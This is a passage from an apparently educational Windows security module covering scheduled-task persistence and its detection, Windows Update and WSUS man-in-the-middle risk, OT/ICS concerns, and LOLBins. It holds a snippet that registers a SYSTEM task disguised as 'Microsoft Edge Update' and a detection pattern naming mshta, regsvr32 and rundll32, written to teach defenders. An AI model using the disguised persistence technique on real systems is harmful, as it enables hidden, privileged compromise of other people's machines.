&lt;/span&gt;&lt;span class="nv"&gt;$principal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;New-ScheduledTaskPrincipal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-UserId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"SYSTEM"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogonType&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ServiceAccount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-RunLevel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Highest&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Register-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Microsoft Edge Update"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;`
&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;-Action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Trigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$trigger&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Principal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$principal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Common Attacker Tricks:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Naming tasks after legitimate software&lt;/strong&gt; — "Google Update," "Adobe Acrobat Update," "Microsoft Edge Update"&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nesting in legitimate folders&lt;/strong&gt; — Tasks can be in subfolders; attackers create tasks in &lt;code&gt;\Microsoft\Windows\&lt;/code&gt; to blend in&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;COM handler hijacking via tasks&lt;/strong&gt; — Tasks that trigger on specific events to load malicious COM handlers&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deleting the task after execution&lt;/strong&gt; — &lt;code&gt;OnLogon&lt;/code&gt; task that runs once, delivers payload, then deletes itself&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Detection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all tasks with full detail — look for anomalies&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ForEach-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTaskInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TaskPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ErrorAction&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;SilentlyContinue&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;PSCustomObject&lt;/span&gt;&lt;span class="p"&gt;]@{&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TaskName&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;TaskPath&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;State&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;LastRun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$info&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;LastRunTime&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;NextRun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$info&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NextRunTime&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ForEach&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Execute&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Arguments&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;join&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" | "&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="nx"&gt;RunAs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$task&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Principal&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;UserId&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-Table&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Wrap&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Tasks created recently (last 7 days) — high suspicion&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WinEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-FilterHashtable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;LogName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Security'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;4698&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartTime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Get&lt;/span&gt;&lt;span class="err"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;Date&lt;/span&gt;&lt;span class="err"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;AddDays&lt;/span&gt;&lt;span class="err"&gt;(-&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="err"&gt;)&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TimeCreated&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Message&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Tasks with suspicious action paths&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; 
    &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Actions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Execute&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"powershell|cmd|wscript|cscript|mshta|regsvr32|rundll32"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Action'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;E&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Actions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Execute&lt;/span&gt;&lt;span class="p"&gt;}},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="nx"&gt;N&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Args'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;E&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Actions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Arguments&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Windows Update Mechanism
&lt;/h2&gt;

&lt;h3&gt;
  
  
  13.1 How Windows Update Works
&lt;/h3&gt;

&lt;p&gt;Windows Update is the patch delivery mechanism for Windows. Understanding it matters for security in both directions:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As a defender:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Patch management is one of the most impactful security controls. A significant percentage of breaches exploit known vulnerabilities with available patches.&lt;/li&gt;
&lt;li&gt;Understanding the update pipeline helps you verify updates are being applied.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;As an attacker/pentester:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identifying unpatched systems and their missing patches is a standard enumeration step.&lt;/li&gt;
&lt;li&gt;Windows Update services themselves have been attack vectors.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Architecture:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Microsoft Update Servers (update.microsoft.com)
        ↓ (WSUS can intercept this in enterprise)
WSUS (Windows Server Update Services) — enterprise update management
        ↓
Windows Update Client (wuauserv service)
        ↓
Downloaded updates staged in C:\Windows\SoftwareDistribution\Download\
        ↓
Windows Module Installer (TrustedInstaller) applies updates
        ↓
C:\Windows\WinSxS\ (Component Store) updated
        ↓
Reboot may be required
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.2 Update Components and Their Security Implications
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Windows Update Agent (wuauserv):&lt;/strong&gt;&lt;br&gt;
The service that checks for, downloads, and installs updates. Runs as NETWORK SERVICE with some SYSTEM privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TrustedInstaller:&lt;/strong&gt;&lt;br&gt;
The account that actually applies Windows updates. It has higher privileges than SYSTEM for modifying Windows system files. Standard SYSTEM processes cannot modify files owned by TrustedInstaller — this protects core Windows files.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check update status&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WindowsUpdateLog&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;# Parses ETW update logs into readable text&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check installed updates&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-HotFix&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Sort-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;InstalledOn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Descending&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-First&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;20&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check for missing updates (requires PSWindowsUpdate module)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Install-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;PSWindowsUpdate&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-WindowsUpdate&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  13.3 Windows Update Attack Surface
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;WSUS HTTP — Man-in-the-Middle:&lt;/strong&gt;&lt;br&gt;
In enterprise environments, Windows Update traffic is often routed through an internal WSUS server. If WSUS is configured to use HTTP instead of HTTPS, the update traffic can be intercepted. The &lt;strong&gt;WSUSpendu&lt;/strong&gt; and &lt;strong&gt;PyWSUS&lt;/strong&gt; tools demonstrated that a network-positioned attacker on an HTTP WSUS network can inject a malicious update that installs with SYSTEM privileges — no authentication bypass required, because the update mechanism trusts the WSUS server.&lt;/p&gt;

&lt;p&gt;This is a significant OT/ICS risk: many industrial control networks use internal WSUS servers, often over HTTP, for managing patches on Windows-based HMI systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SoftwareDistribution Folder:&lt;/strong&gt;&lt;br&gt;
Downloaded update packages are stored temporarily in &lt;code&gt;C:\Windows\SoftwareDistribution\Download\&lt;/code&gt;. This folder can contain sensitive information about installed software versions and pending patches. It can also be used as a staging area for malware that mimics the naming conventions of legitimate updates.&lt;/p&gt;
&lt;h3&gt;
  
  
  13.4 Patch Management for Security
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check which security patches are missing compared to Microsoft's catalog&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Use this in combination with vulnerability scanners&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check the last time updates were checked/applied&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ComObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Microsoft.Update.AutoUpdate"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Results&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Force update check&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;wuauclt.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/detectnow&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Or on modern Windows:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;UsoClient.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;StartScan&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Check Windows version and build for vulnerability research&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Environment&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;OSVersion&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ComputerInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WindowsVersion&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Get-ComputerInfo&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;OsHardwareAbstractionLayer&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;For penetration testing — identifying missing patches:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Get OS version and all installed hotfixes for comparison against known vulnerabilities&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;systeminfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/C:&lt;/span&gt;&lt;span class="s2"&gt;"OS Name"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/C:&lt;/span&gt;&lt;span class="s2"&gt;"OS Version"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/C:&lt;/span&gt;&lt;span class="s2"&gt;"Hotfix(s)"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Cross-reference with:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - Microsoft Security Update Guide: msrc.microsoft.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - NIST NVD: nvd.nist.gov&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - Exploit-DB: exploit-db.com&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Tools: windows-exploit-suggester.py, WinPEAS, Sherlock.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Key Takeaways and Security Mindset
&lt;/h2&gt;

&lt;h3&gt;
  
  
  14.1 Windows Is a Layered System — Understand Every Layer
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Registry          → Configuration storage, persistence mechanism
Services          → Long-running execution, privilege context
Scheduled Tasks   → Time/event-based execution, persistence
Token system      → Identity and privilege, impersonation attacks
UAC               → Privilege separation (not a security boundary)
Windows Firewall  → Network access control
Defender + AMSI   → Content inspection (bypassable but raises the bar)
Event Log         → The audit trail for everything above
PowerShell        → The administration interface (attacker's playground, defender's toolkit)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  14.2 "Living off the Land" Is the Default Attack Mode
&lt;/h3&gt;

&lt;p&gt;Modern attackers rarely bring their own tools. They use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PowerShell&lt;/strong&gt; — download cradles, remote execution, credential access&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CMD&lt;/strong&gt; — basic enumeration, persistence via &lt;code&gt;schtasks&lt;/code&gt;, &lt;code&gt;reg&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WMI&lt;/strong&gt; — remote execution, persistence, information gathering&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;certutil, bitsadmin, mshta&lt;/strong&gt; — download and execute payloads&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;regsvr32, rundll32&lt;/strong&gt; — proxy execution of malicious code&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are &lt;strong&gt;LOLBins (Living off the Land Binaries)&lt;/strong&gt; — legitimate Windows tools used maliciously. Your detections must account for legitimate tools used in illegitimate ways. This is why understanding context (who ran it, from what parent process, with what arguments, to what network destination) matters more than just the binary name.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.3 Every Setting Is a Security Decision
&lt;/h3&gt;

&lt;p&gt;Every Windows configuration option covered in this module represents a security trade-off:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;UAC disabled → convenience, security risk&lt;/li&gt;
&lt;li&gt;PowerShell logging disabled → performance, visibility loss&lt;/li&gt;
&lt;li&gt;Defender exclusions → compatibility, detection gap&lt;/li&gt;
&lt;li&gt;Firewall rules → functionality, attack surface&lt;/li&gt;
&lt;li&gt;Windows Update disabled → stability (in OT), vulnerability exposure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is no "set and forget" secure configuration. Security is an ongoing process of auditing, adjusting, and monitoring.&lt;/p&gt;

&lt;h3&gt;
  
  
  14.4 For OT/ICS Windows Systems
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Legacy Windows is endemic in OT.&lt;/strong&gt; Windows XP runs on HMIs in active production facilities today in 2025. Windows XP has no ASLR, no NX (hardware not required to support it), no UAC, no Defender, no modern event log. Every technique in this module is far easier on legacy Windows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Windows Update is often disabled&lt;/strong&gt; in OT environments for "stability." This creates chronic unpatched vulnerability exposure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PowerShell remoting&lt;/strong&gt; (WinRM) is sometimes enabled on OT workstations for remote management. This is an enormous attack surface in environments without proper network segmentation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WSUS over HTTP&lt;/strong&gt; is common in OT networks — a significant vulnerability.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  15. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Registry Hunt for Persistence (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Audit all autorun locations on your machine&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Install and run Autoruns from Sysinternals first&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Then manually verify the top findings:&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# 1. Check all Run keys&lt;/span&gt;&lt;span class="w"&gt;
